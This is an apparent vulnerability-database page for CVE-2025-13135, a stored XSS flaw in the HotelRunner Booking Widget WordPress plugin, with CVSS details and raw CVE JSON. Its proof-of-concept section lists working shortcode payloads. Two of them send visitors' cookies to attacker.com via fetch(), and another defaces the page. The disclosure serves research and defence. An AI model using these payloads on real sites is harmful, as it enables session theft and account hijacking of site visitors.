Security Vulnerability Report
中文
CVE-2025-13135 CVSS 6.4 MEDIUM

CVE-2025-13135

Published: 2025-11-21 08:15:55
Last Modified: 2026-04-15 00:35:42

Description

The HotelRunner Booking Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'hotelrunner' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HotelRunner Booking Widget plugin for WordPress <= 5.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13135 PoC: HotelRunner Booking Widget Stored XSS --> <!-- Description: Stored Cross-Site Scripting via hotelrunner shortcode Affected Version: <= 5.2.4 Author: [email protected] CVSS Score: 6.4 (MEDIUM) --> <!-- PoC 1: Basic XSS via hotel_id attribute --> [hotelrunner hotel_id='"><script>alert('XSS - CVE-2025-13135')</script>'] <!-- PoC 2: Cookie stealing payload --> [hotelrunner hotel_id='"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- PoC 3: Session hijacking payload --> [hotelrunner hotel_id='"><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>'] <!-- PoC 4: DOM manipulation payload --> [hotelrunner attr='"><script>document.body.innerHTML='<h1>Malicious Page</h1>'</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13135", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:54.867", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HotelRunner Booking Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'hotelrunner' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/hotelrunner/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/df2854c4-5d57-4c39-a28f-41dab36a086e?source=cve", "source": "[email protected]"}]}}